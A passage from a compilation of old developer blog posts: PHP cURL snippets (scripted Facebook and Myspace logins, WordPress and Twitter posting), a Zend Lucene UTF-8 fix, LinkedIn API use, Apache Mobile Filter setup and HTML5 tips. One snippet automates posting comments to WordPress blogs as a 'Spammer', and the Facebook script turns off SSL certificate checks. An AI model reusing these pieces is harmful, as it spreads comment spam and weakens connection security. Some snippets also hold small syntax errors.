\'YOUR_FIRST_NAME\';\n\n$login_email = \'YOUR_LOGIN_EMAIL\';\n\n$login_pass = \'YOUR_PASSWORD\';\n\n&nbsp;\n\n$ch = curl_init();\n\ncurl_setopt($ch, CURLOPT_URL, \'https://login.facebook.com/login.php?m&amp;amp;next=http%3A%2F%2Fm.facebook.com%2Fhome.php\');\n\ncurl_setopt($ch, CURLOPT_POSTFIELDS,\'email=\'.urlencode($login_email).\'&amp;pass=\'.urlencode($login_pass).\'&amp;login=Login\');\n\ncurl_setopt($ch, CURLOPT_POST, 1);\n\ncurl_setopt($ch, CURLOPT_HEADER, 0);\n\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\ncurl_setopt($ch, CURLOPT_COOKIEJAR, \"my_cookies.txt\");\n\ncurl_setopt($ch, CURLOPT_COOKIEFILE, \"my_cookies.txt\");\n\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\ncurl_setopt($ch, CURLOPT_USERAGENT, \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\");\n\ncurl_exec($ch);\n\n&nbsp;\n\ncurl_setopt($ch, CURLOPT_POST, 0);\n\ncurl_setopt($ch, CURLOPT_URL, \'http://m.facebook.com/home.php\');\n\n$page = curl_exec($ch);\n\n&nbsp;\n\ncurl_setopt($ch, CURLOPT_POST, 1);\n\npreg_match(\'/name=\"post_form_id\" value=\"(.*)\" \\/&gt;\'.ucfirst($first_name).\'/\', $page, $form_id);\n\ncurl_setopt($ch, CURLOPT_POSTFIELDS,\'post_form_id=\'.$form_id[1].\'&amp;status=\'.urlencode($status).\'&amp;update=Update\');\n\ncurl_setopt($ch, CURLOPT_URL, \'http://m.facebook.com/home.php\');\n\ncurl_exec($ch);\n\n?&gt;\n\n<b>2 – Get download speed of your webserver</b>\n\nDo you ever wanted to know the exact download speed of your webserver (or any other?) If yes, you’ll love that code. You just have to initialize the $url variable with any resources from the webserver (images, pdf, etc), place the file on your server and point your browser to it. The output will be a full report of download speed.\n\n&lt;?php error_reporting(E_ALL | E_STRICT);\n\n&nbsp;\n\n// Initialize cURL with given url\n\n$url = \'http://download.bethere.co.uk/images/61859740_3c0c5dbc30_o.jpg\';\n\n$ch = curl_init($url);\n\n&nbsp;\n\ncurl_setopt($ch, CURLOPT_HEADER, 0);\n\ncurl_setopt($ch, CURLOPT_USERAGENT, \'Sitepoint Examples (thread 581410; http://www.sitepoint.com/forums/showthread.php?t=581410)\');\n\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\ncurl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);\n\ncurl_setopt($ch, CURLOPT_TIMEOUT, 60);\n\n&nbsp;\n\nset_time_limit(65);\n\n&nbsp;\n\n$execute = curl_exec($ch);\n\n$info = curl_getinfo($ch);\n\n&nbsp;\n\n// Time spent downloading, I think\n\n$time = $info[\'total_time\']\n\n- $info[\'namelookup_time\']\n\n- $info[\'connect_time\']\n\n- $info[\'pretransfer_time\']\n\n- $info[\'starttransfer_time\']\n\n- $info[\'redirect_time\'];\n\n&nbsp;\n\n// Echo friendly messages\n\nheader(\'Content-Type: text/plain\');\n\nprintf(\"Downloaded %d bytes in %0.4f seconds.\\n\", $info[\'size_download\'], $time);\n\nprintf(\"Which is %0.4f mbps\\n\", $info[\'size_download\'] * 8 / $time / 1024 / 1024);\n\nprintf(\"CURL said %0.4f mbps\\n\", $info[\'speed_download\'] * 8 / 1024 / 1024);\n\n&nbsp;\n\necho \"\\n\\ncurl_getinfo() said:\\n\", str_repeat(\'-\', 31 + strlen($url)), \"\\n\";\n\nforeach ($info as $label =&gt; $value)\n\n{\n\nprintf(\"%-30s %s\\n\", $label, $value);\n\n}\n\n?&gt;\n\n<b>3 – Myspace login using cURL</b>\n\n&lt;?php\n\n&nbsp;\n\nfunction login( $data, $useragent = \'Mozilla 4.01\', $proxy = false ) {\n\n$ch = curl_init();\n\n$hash = crc32( $data[\'email\'].$data[\'pass\'] );\n\n$hash = sprintf( \"%u\", $hash );\n\n$randnum = $hash.rand( 0, 9999999 );\n\nif( $proxy ) curl_setopt( $ch, CURLOPT_PROXY, $proxy );\n\ncurl_setopt( $ch, CURLOPT_COOKIEJAR, \'/tmp/cookiejar-\'.$randnum );\n\ncurl_setopt( $ch, CURLOPT_COOKIEFILE, \'/tmp/cookiejar-\'.$randnum );\n\ncurl_setopt( $ch, CURLOPT_USERAGENT, $useragent );\n\ncurl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );\n\ncurl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );\n\ncurl_setopt( $ch, CURLOPT_POST, 0);\n\ncurl_setopt( $ch, CURLOPT_URL, \'http://www.myspace.com\' );\n\n$page = curl_exec( $ch );\n\npreg_match( \'/MyToken=(.+?)\"/i\', $page, $token );\n\nif( $token[1] ) {\n\ncurl_setopt( $ch, CURLOPT_URL, \'http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken=\'.$token[1] );\n\ncurl_setopt( $ch, CURLOPT_REFERER, \'http://www.myspace.com\' );\n\ncurl_setopt( $ch, CURLOPT_HTTPHEADER, Array( \'Content-Type: application/x-www-form-urlencoded\' ) );\n\ncurl_setopt( $ch, CURLOPT_POST, 1 );\n\n$postfields = \'NextPage=&amp;email=\'.urlencode( $data[\'mail\'] ).\'&amp;password=\'.urlencode( $data[\'pass\'] ).\'&amp;loginbutton.x=&amp;loginbutton.y=\';\n\ncurl_setopt( $ch, CURLOPT_POSTFIELDS, $postfields );\n\n$page = curl_exec( $ch );\n\nif( strpos( $page, \'SignOut\' ) !== false ) {\n\nreturn $randnum;\n\n}\n\nelse {\n\npreg_match( \'/MyToken=(.+?)\"/i\', $page, $token );\n\npreg_match( \'/replace\\(\"([^\\\"]+)\"/\', $page, $redirpage );\n\nif( $token[1] ) {\n\ncurl_setopt( $ch, CURLOPT_POST, 0 );\n\ncurl_setopt( $ch, CURLOPT_URL, \'http://home.myspace.com/index.cfm?&amp;fuseaction=user&amp;Mytoken=\'.$token[1] );\n\n$page = curl_exec( $ch );\n\ncurl_close( $ch );\n\nif( strpos( $page, \'SignOut\' ) !== false ) {\n\nreturn $randnum;\n\n}\n\n}\n\nelseif( $redirpage[1] ) {\n\ncurl_setopt( $ch, CURLOPT_REFERER, \'http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken=\'.$token[1] );\n\ncurl_setopt( $ch, CURLOPT_URL, $redirpage[1] );\n\ncurl_setopt( $ch, CURLOPT_POST, 0 );\n\n$page = curl_exec( $ch );\n\ncurl_close( $ch );\n\nif( strpos( $page, \'SignOut\' ) !== false ) {\n\nreturn $randnum;\n\n}\n\n}\n\n}\n\n}\n\nreturn false;\n\n}\n\n?&gt;\n\n<b>4 – Publish a post on your WordPress blog, using cURL</b>\nThis function can post on your WordPress blog. You don’t need to login to your WP dashboard etc.\nThough, you must activate the XMLRPC posting option in your WordPress blog. If this option isn’t activated, the code will not be able to insert anything into WordPress database. Another thing, make sure the XMLRPC functions are activated on your php.ini file.\n\nfunction wpPostXMLRPC($title,$body,$rpcurl,$username,$password,$category,$keywords=\'\',$encoding=\'UTF-8\')\n\n{\n\n$title = htmlentities($title,ENT_NOQUOTES,$encoding);\n\n$keywords = htmlentities($keywords,ENT_NOQUOTES,$encoding);\n\n&nbsp;\n\n$content = array(\n\n\'title\'=&gt;$title,\n\n\'description\'=&gt;$body,\n\n\'mt_allow_comments\'=&gt;0,  // 1 to allow comments\n\n\'mt_allow_pings\'=&gt;0,  // 1 to allow trackbacks\n\n\'post_type\'=&gt;\'post\',\n\n\'mt_keywords\'=&gt;$keywords,\n\n\'categories\'=&gt;array($category)\n\n);\n\n$params = array(0,$username,$password,$content,true);\n\n$request = xmlrpc_encode_request(\'metaWeblog.newPost\',$params);\n\n$ch = curl_init();\n\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $request);\n\ncurl_setopt($ch, CURLOPT_URL, $rpcurl);\n\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\ncurl_setopt($ch, CURLOPT_TIMEOUT, 1);\n\n$results = curl_exec($ch);\n\ncurl_close($ch);\n\nreturn $results;\n\n?&gt;\n\n<b>5 – Test the existence of a given url</b>\n\nIn fact, <i>it is basic</i>, but it is also very useful, especially when you have to work with external resources.\n\n&lt;?php\n\n$ch = curl_init();\n\ncurl_setopt($ch, CURLOPT_URL, \"http://www.jellyandcustard.com/\");\n\ncurl_setopt($ch, CURLOPT_HEADER, true);\n\ncurl_setopt($ch, CURLOPT_NOBODY, true);\n\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\n$data = curl_exec($ch);\n\ncurl_close($ch)\n\necho $data;\n\n?&gt;\n\n<b>6 – Post comments on WordPress blogs</b>\n\n&lt;?php\n\n$postfields = array();\n\n$postfields[\"action\"] = \"submit\";\n\n$postfields[\"author\"] = \"Spammer\";\n\n$postfields[\"email\"] = \"spammer@spam.com\";\n\n$postfields[\"url\"] = \"http://www.iamaspammer.com/\";\n\n$postfields[\"comment\"] = \"I am a stupid spammer.\";\n\n$postfields[\"comment_post_ID\"] = \"123\";\n\n$postfields[\"_wp_unfiltered_html_comment\"] = \"0d870b294b\";\n\n//Url of the form submission\n\n$url = \"http://www.ablogthatdoesntexist.com/blog/suggerer_site.php?action=meta_pass&amp;id_cat=0\";\n\n$useragent = \"Mozilla/5.0\";\n\n$referer = $url;\n\n&nbsp;\n\n//Initialize CURL session\n\n$ch = curl_init($url);\n\n//CURL options\n\ncurl_setopt($ch, CURLOPT_POST, 1);\n\n//We post $postfields data\n\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);\n\n//We define an useragent (Mozilla/5.0)\n\ncurl_setopt($ch, CURLOPT_USERAGENT, $useragent);\n\n//We define a refferer ($url)\n\ncurl_setopt($ch, CURLOPT_REFERER, $referer);\n\n//We get the result page in a string\n\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\n//We exits CURL\n\n$result = curl_exec($ch);\n\ncurl_close($ch);\n\n&nbsp;\n\n//Finally, we display the result\n\necho $result;\n\n?&gt;\n\n<b>7 – Follow your Adsense earnings with an RSS reader</b>\n\nMost bloggers uses Adsense on their blog and (try to) make money with Google. This excellent snippet allows you to follow your Adsense earnings…with a RSS reader! Definitely awesome.\n<i>(Script too big to be displayed on the blog, click </i><a href=\"http://planetozh.com/download/rss-adsense.txt\"><i>here to preview</i></a><i>)</i>\n<b>Source:</b> <a href=\"http://planetozh.com/blog/my-projects/track-adsense-earnings-in-rss-feed/\">http://planetozh.com/blog/my-projects/track-adsense-earnings-in-rss-feed/</a>\n\n&nbsp;\n\n<b>8 – Get feed subscribers count in full text</b>\n\nIf you’re a blogger, you’re probably using the popular FeedBurner service, which allo you to know how many people grabbed your rss feed. Feedburner have a chicklet to proudly display your subscriber count on your blog.\n\n//get cool feedburner count\n\n$whaturl=\"https://feedburner.google.com/api/awareness/1.0/GetFeedData?uri=feedburner-id\";\n\n&nbsp;\n\n//Initialize the Curl session\n\n$ch = curl_init();\n\n&nbsp;\n\n//Set curl to return the data instead of printing it to the browser.\n\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\n&nbsp;\n\n//Set the URL\n\ncurl_setopt($ch, CURLOPT_URL, $whaturl);\n\n&nbsp;\n\n//Execute the fetch\n\n$data = curl_exec($ch);\n\n&nbsp;\n\n//Close the connection\n\ncurl_close($ch);\n\n$xml = new SimpleXMLElement($data);\n\n$fb = $xml-&gt;feed-&gt;entry[\'circulation\'];\n\n//end get cool feedburner count\n\n<b>Source:</b> <a href=\"http://www.hongkiat.com/blog/display-google-feed-subscriber-count-in-text/\">http://www.hongkiat.com/blog/display-google-feed-subscriber-count-in-text/</a>\n\n&nbsp;\n\n<b>9 – Get the content of a webpage into a PHP variable</b>\n\nThis is a very basic thing to do with cURL, but with endless possibilities. Once you have a webpage in a PHP variable, you can for example, retrieve a particular information on the page to use on your own website.\n\n&lt;?php\n\nch = curl_init();\n\ncurl_setopt($ch, CURLOPT_URL, \"example.com\");\n\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\n$output = curl_exec($ch);\n\ncurl_close($ch);  ?&gt;\n\n<b>10 – Post to Twitter using PHP and cURL</b>\n\nTwitter is very popular since some time now, and you probably already have an account there. (<a href=\"http://www.twitter.com/catswhocode\">We have one too</a>) So, what about using cURL to tweet from your server without connectiong to Twitter?\n\n&lt;?php\n\n// Set username and password\n\n$username = \'username\';\n\n$password = \'password\';\n\n// The message you want to send\n\n$message = \'is twittering from php using curl\';\n\n// The twitter API address\n\n$url = \'http://twitter.com/statuses/update.xml\';\n\n// Alternative JSON version\n\n// $url = \'http://twitter.com/statuses/update.json\';\n\n// Set up and execute the curl process\n\n$curl_handle = curl_init();\n\ncurl_setopt($curl_handle, CURLOPT_URL, \"$url\");\n\ncurl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT, 2);\n\ncurl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);\n\ncurl_setopt($curl_handle, CURLOPT_POST, 1);\n\ncurl_setopt($curl_handle, CURLOPT_POSTFIELDS, \"status=$message\");\n\ncurl_setopt($curl_handle, CURLOPT_USERPWD, \"$username:$password\");\n\n$buffer = curl_exec($curl_handle);\n\ncurl_close($curl_handle);\n\n// check for success or failure\n\nif (empty($buffer)) {\n\necho \'message\';\n\n} else {\n\necho \'success\';\n\n}\n\n?&gt;\n\n&nbsp;\n\n&nbsp;\n\n<b>Prevent js and css files from being cached</b>\n\nBy default, external files such as javascript and css are cached by the browser. If you want to prevent this from caching, simply use this easy tip:\n\n&lt;link href=\"/stylesheet.css?&lt;?php echo time(); ?&gt;\" rel=\"stylesheet\" type=\"text/css\" /&gt;\n\nThe result will look like this:\n\n&lt;link href=\"/stylesheet.css?1234567890\" rel=\"stylesheet\" type=\"text/css\" /&gt;\n\n&nbsp;\n\n&nbsp;\n\n<b>Test if a password is strong</b>\n\nWeak passwords are one of the quickest ways to get hacked. The following regexp will make sure that:\n\nPasswords will contain at least (1) upper case letter\n\nPasswords will contain at least (1) lower case letter\n\nPasswords will contain at least (1) number or special character\n\nPasswords will contain at least (8) characters in length\n\nPassword maximum length should not be arbitrarily limited\n\n(?=^.{8,}$)((?=.*\\d)|(?=.*\\W+))(?![.\\n])(?=.*[A-Z])(?=.*[a-z]).*$\n\n&nbsp;\n\n&nbsp;\n\n<b>Remove URLs from string</b>\n\nWhen I see the amount of URLs people try to leave in my blog comments to get traffic and/or backlinks, I think I should definitely give a go to this snippet!\n\n$string = preg_replace(\'/\\b(https?|ftp|file):\\/\\/[-A-Z0-9+&amp;@#\\/%?=~_|$!:,.;]*[A-Z0-9+&amp;@#\\/%=~_|$]/i\', \'\', $string);\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">37.</span>  <span style=\"text-decoration: underline;\">Blog37:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Zend Lucene Search for Multi Language\n\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n<h1>Seatch Implementation for MultiLanguages Using Zend Lucene</h1>\nI have a problem with searching Russian strings,   with  Zend Search Lucene. Here is my actual code:\n\n<strong> ///Before </strong>\n\n// Create index\n$index = Zend_Search_Lucene::create(\'data/index\');\n$doc = new Zend_Search_Lucene_Document();\n$doc-&gt;addField(Zend_Search_Lucene_Field::Text(\'samplefield\', \'русский\nтекст; english text\'));\n$index-&gt;addDocument($doc);\n$index-&gt;commit();\n\nThe problem here is default analyzer works only with ASCII Text.\nThat\'s so because mbstring PHP extension is not included into PHP installation by default and iconv() doesn\'t have necessary functionality.\n\nYou should use special UTF-8 analyzers to work with non-ASCII text which can\'t be transliterated by iconv()\n\n///Add this line extra to replace default analyzer with Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8. It looks like the analyzer you are using destroys the non-ASCII characters\n\nZend_Search_Lucene_Analysis_Analyzer::setDefault(\nnew Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8 ());\n\n<strong>//After</strong>\n// Create index\n$index = Zend_Search_Lucene::create(\'data/index\');\n$doc = new Zend_Search_Lucene_Document();\n$doc-&gt;addField(Zend_Search_Lucene_Field::Text(\'samplefield\',\n\'русский текст; english text\',\n\'utf-8\'));\n$index-&gt;addDocument($doc); $index-&gt;commit();\n\nThis needs to be done at the time of creating index files.\n\n&nbsp;\n\nWhile indexing database columns we need to execute my sql query .Before executing mysql_query we need to add mysql_query(\"SET NAMES \'utf8\'\").\n\nmysql_query(\"SET NAMES \'utf8\'\");\n\n$contents = mysql_query($query)\n\nThis will inform mysql that all incoming data are UTF-8, it will convert them into table/column encoding. Same will happen when mysql sends you the data back - they will be converted into UTF-8. You will also have to assure that you set the content-type response header to indicate the UTF-8 encoding of the pages.\n<h1><strong>///Searching   </strong></h1>\nThe same Zend_Search_Lucene_Analysis_Analyzer we need to set as default analyzer before searching also.\n\n<strong>////Before</strong>\n\n// Query the index:\n$queryStr = \'english\';\n$query = Zend_Search_Lucene_Search_QueryParser::parse($queryStr, \'utf-8\');\n$hits = $index-&gt;find($query);\nforeach ($hits as $hit) {\n/*@var $hit Zend_Search_Lucene*/\n$doc = $hit-&gt;getDocument();\necho $doc-&gt;getField(\'samplefield\')-&gt;value, PHP_EOL;\n}\n\n<strong>////After</strong>\nZend_Search_Lucene_Analysis_Analyzer::setDefault(\nnew Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8_CaseInsensitive ());\n\n// Open index\n$index = Zend_Search_Lucene::open(\'data/index\');\n...\n\nZend_Search_Lucene_Search_QueryParser::setDefaultEncoding(\'utf-8\');\nforeach ($index-&gt;find($query) as $hit) {\necho $hit-&gt;samplefield, PHP_EOL;\n}\n<h1>UTF-8 compatible text analyzers</h1>\nZend_Search_Lucene also contains a set of UTF-8 compatible analyzers: Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8Num, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8_CaseInsensitive, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8Num_CaseInsensitive.\n\n<b>Any of this analyzers can be enabled with the code like this: </b>\n\nZend_Search_Lucene_Analysis_Analyzer::setDefault(<b>new</b> Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8());\n\n<b>Warning</b>\n\nUTF-8 compatible analyzers were improved in Zend Framework 1.5. Early versions of analyzers assumed all non-ascii characters are letters. New analyzers implementation has more accurate behavior.\n\nThis may need you to re-build index to have data and search queries tokenized in the same way, otherwise search engine may return wrong result sets.\n\n<span style=\"text-decoration: underline;\">38.</span>  <span style=\"text-decoration: underline;\">Blog38:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Integration of LinkedIn API\n\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\n<b>Integration of LinkedIn API</b>\n\nThe purpose of this article is how to integrate LinkedIn API in our applications. I covered some of the topics like showing the LinkedIn network people belongs to a company or industry and showing your LinkedIn first degree/second degree connection friends in our application and sending message to your LinkedIn friends.\n\nLinkedIn API uses OAuth as its authentication method. OAuth is a standard for negotiating developer authorization and granting access on behalf of specific members to perform API requests. One of OAuth\'s benefits is the availability of many third party and open source libraries, allowing developers to authenticate with LinkedIn quickly and in a similar manner to how they authenticate with services such as Twitter, Google, Yahoo, and Netflix.\n<b>OAuth Overview</b>\n\nThe below is a high-level architectural diagram of OAuth, and provides the specific settings for using it with the LinkedIn API.\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n<b>The OAuth Flow</b><b></b>\n\nThe developer (or the \"consumer\") requests an API (or consumer) key from LinkedIn (or the \"provider\")\n\nA. When your application needs to authenticate the member (or the \"user\"), your application makes a call to LinkedIn to ask for a request token\n\nB. LinkedIn replies with a request token. Request tokens are used to ask for user approval to the API.\n\nC. Your application redirects the member to LinkedIn to sign-in and authorize your application to make API calls on their behalf. Developer provides LinkedIn with a URL where they should send them afterward (or the \"callback\")\n\n&nbsp;\n\nD. If the member agrees, LinkedIn returns them to the location specified in the callback\n\nE. Your application then makes another OAuth call to LinkedIn to retrieve an access token for the member\n\nF. LinkedIn returns an access token, which has two parts: the oauth_token and oauth_token_secret.\n\nG. After retrieving the access token, you can make API calls, signing them with the consumer key and access token\n\nFor implementing in your application your must have the Api Key and Secret Key for your application. So go to <a href=\"https://www.linkedin.com/secure/developer\" target=\"_blank\">https://www.linkedin.com/secure/developer</a> and click <b>Add New Application</b> to get them.\n\n<b>People Search API</b><b></b>\n\nThe People Search API returns information about people. It lets you implement most of what shows up when you do a search for \"People\" in the top right box on LinkedIn.com.\n\nAPI Call method:\n\n<a href=\"http://developer.linkedin.com/docs/DOC-1191\">http://api.linkedin.com/v1/people-search? keywords=<i>[space delimited keywords]</i>&amp; first-name=<i>[first name]</i>&amp; last-name=<i>[last name]</i>&amp; company-name=<i>[company name]</i>&amp; current-company=<i>[true|false]</i>&amp; title=<i>[title]</i>&amp; current-title=<i>[true|false]</i>&amp; school-name=<i>[school name]</i>&amp; current-school=<i>[true|false]</i>&amp; country-code=<i>[country code]</i>&amp; postal-code=<i>[postal code]</i>&amp; distance=<i>[miles]</i>&amp; start=<i>[number]</i>&amp; count=<i>[1-25]</i>&amp;  facet=<i>[facet code, values]</i>&amp; facets=<i>[facet codes]</i>&amp;  sort=<i>[connections|recommenders|distance|relevance]</i></a>\n\n&nbsp;\n\nUse the People Search API to find people using keywords, company, name, or other criteria. It returns a list of matching member profiles. Each entry can contain much of the information available on the person\'s member profile page.\n\nUse Field Selectors to explicitly enumerate the exact fields you want. This ensures the call returns in the least amount of time.\n\nAs a starting point, the People API default looked like this: <b>/people-search:(people:(id,first-name,last-name,headline,location:(name,country:(code),postal-code),industry,num-recommenders,connections,summary,specialties,interests,honors,positions,educations,member-url-resources,api-standard-profile-request,site-standard-profile-request,public-profile-url))?query</b>\n\nThe API can also return facets. Facets provide you with data about the collection of people, such as where they work, are located, or what schools they attended. You can then use this data to make a new API call that further refines your original request. This is similar to clicking the buttons on the left-hand side of the LinkedIn Search results page\n\n<b>Facets</b><b></b>\n\nFacets provide you with data similar to what appears on left-hand side of the LinkedIn Search results page.\n\nUse facets to discover for a member:\n\n- Who in their network works at a specific company, or group of companies.\n\n- How the people their network cluster together. What locations or industries are the most popular?\n\n- Where their connections graduated from school.\n\n&nbsp;\n\nTo find the First degree connections in a company use this API call:\n\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29?company-name=Collabor&amp;facets=network&amp;facet=network,F&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)?company-name=Collabor&amp;facets=network&amp;facet=network,F&amp;start=1&amp;count=200</a>\n\nFor second degree connections in a company,\n\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29?company-name=Asda&amp;facets=network&amp;facet=network,S&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)?company-name=Asda&amp;facets=network&amp;facet=network,S&amp;start=1&amp;count=200</a>\n\nFor Industry type (eg. IT Software),\n\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29??facets=industry,network&amp;facet=industry,96&amp;facet=network,F&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)??facets=industry,network&amp;facet=industry,96&amp;facet=network,F&amp;start=1&amp;count=200</a>\n\nYou can get more information from <a href=\"http://developer.linkedin.com/docs/DOC-1012\">http://developer.linkedin.com/docs/DOC-1012</a>\n\nFor sending a message to the user use this function,\n\nfunction sendMessage($xml){\n\n$status_url = \"http://api.linkedin.com/v1/people/~/mailbox\";\n\n$request = OAuthRequest::from_consumer_and_token$this-&gt;consumer, $this-&gt;access_token, \"POST\", $status_url);\n\n$request-&gt;sign_request($this-&gt;signature_method, $this-&gt;consumer, $this-&gt;access_token);\n\n$auth_header = $request-&gt;to_header(\"https://api.linkedin.com\");\n\n$response = $this-&gt;httpRequest($status_url, $auth_header, \"POST\", $xml);\n\nreturn $response;\n\n}\n\n&nbsp;\n\nXml will be as follows for sending a message.\n\n$xml =\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n\n&lt;mailbox-item&gt;\n\n&lt;recipients&gt;\n\n\'.12345(LinkedIn person_id).\'\n\n&lt;/recipients&gt;\n\n&lt;subject&gt;\'.$custom_subject.\'&lt;/subject&gt;\n\n&lt;body&gt;\'.htmlentities($custom_message).\'&lt;/body&gt;\n\n&lt;/mailbox-item&gt;\';\n\n$content = $linkedin-&gt;sendMessage($xml);\n\n&nbsp;\n\n<span style=\"text-decoration: underline;\">39.</span>  <span style=\"text-decoration: underline;\">Blog39:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Apache Mobile Filter installation on Centos servers.\n\n<span style=\"text-decoration: underline;\">Category</span> : Mobile Technology\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\n<b>This is the software and perl modules you need to install before Apache mobile Filter Installation</b>.\n\nApache 2.x.x\nmod_perl 2.0\n\nApache2::Filter\nApache2::RequestRec\nApache2::RequestUtil\nApache2::Connection\nApache2::SubRequest\nApache2::Log;\nCGI::Cookie\nAPR::Table\nLWP::Simple\nImage::Resize\nApache2::Const\nIO::Uncompress::Unzip\n\n<b>For Install Apache Perl in Linux.</b>\n\nYum install httpd-devel\n\nYum install mod_perl\n\n<b>For installing Perl modules.</b>\n\ncpan install Image::Resize\n\ncpan install Apache2::Filter\n\nand same for above perl modules.\n\n<b>For download and install the Apache Mobile Filter suite follow this steps:</b>\n\n<b>mkdir</b> AWF\n<b>cd</b> AWF\n<b>wget</b> http://downloads.sourceforge.net/project/mobilefilter/ApacheMobileFilter/X.XX/Apache2-ApacheMobileFilter-X.XX.tar.gz?use_mirror=dfn\n<b>tar</b> -xzvf Apache2-WURFLFilter-X.XX.tar.gz\n<b>cd</b> Apache2-WURFLFilter-X.XX/\n<b>perl</b> Makefile.PL\n<b>make</b> install\n\n<b>Installing Memcached</b>\n\nyum install memcached\n\nor\n\nrpm -Uhv <a href=\"http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm\">http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm</a>\n\n&nbsp;\n\n<b>After installing all above modules we have to  configure in apache config file like below.</b>\n\n&nbsp;\n\nPerlSetEnv AMFHome /home/xxx\n\nPerlSetEnv AMFMobileHome /home/xxx\n\nPerlSetEnv CacheDirectoryStore /tmp/xxx\n\nPerlTransHandler +Apache2::AMFWURFLFilter\n\nPerlSetEnv DownloadWurflURL http://downloads.sourceforge.net/wurfl/wurfl-latest.zip\n\nPerlSetEnv LoadWebPatch true\n\nPerlSetEnv PatchWurflNetDownload true\n\nPerlSetEnv PatchWurflUrl http://wurfl.sourceforge.net/web_browsers_patch.xml\n\nPerlSetEnv ServerMemCached 127.0.0.1:11211,/var/sock/memcahed\n\nPerlTransHandler +Apache2::AMFWURFLFilterMemcached\n\nPerlSetEnv ResizeImageDirectory /tmp/xx\n\n<span style=\"text-decoration: underline;\">40.</span>  <span style=\"text-decoration: underline;\">Blog40:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  HTML5 Features\n\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n<h1>HTML5 Features</h1>\n&nbsp;\n<h2>1.      New Doctype</h2>\n<b>( HTML )</b>       &lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n\n<b>( HTML5 )</b>    &lt;!DOCTYPE html&gt;\n<h2>2.      The Figure Element</h2>\n<b>( HTML )</b>       &lt;img src=\"image/image.jpg\" alt=\"image\" title=” image” /&gt;\n\n&lt;p&gt;Image of Mars. &lt;/p&gt;\n\n<b>( HTML5 )</b>\n\n&lt;figure&gt;\n\n&lt;img src=\"image/image.jpg\" alt=\"image\" title=”image” /&gt;\n\n&lt;figcaption&gt;\n\n&lt;p&gt;This is an image of something interesting.&lt;/p&gt;\n\n&lt;/figcaption&gt;\n\n&lt;/figure&gt;\n<h2>3.      No More <code>Types</code> for Scripts and Links</h2>\n<b>( HTML )</b>     &lt;link rel=\"stylesheet\" href=\"css/ stylesheet.css\" type=\"text/css\" /&gt;\n\n&lt;script src=\"path/to/script.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\n\n<b>( HTML5 )</b>  &lt;link rel=\"stylesheet\" href=\"css/stylesheet.css\" /&gt;\n\n&lt;script src=\"path/to/script.js\"&gt;&lt;/script&gt;\n<h2>4.      To Quote or Not to Quote.</h2>\n<b>( HTML )</b>     &lt;p class=”myclass” id=”someId”&gt; 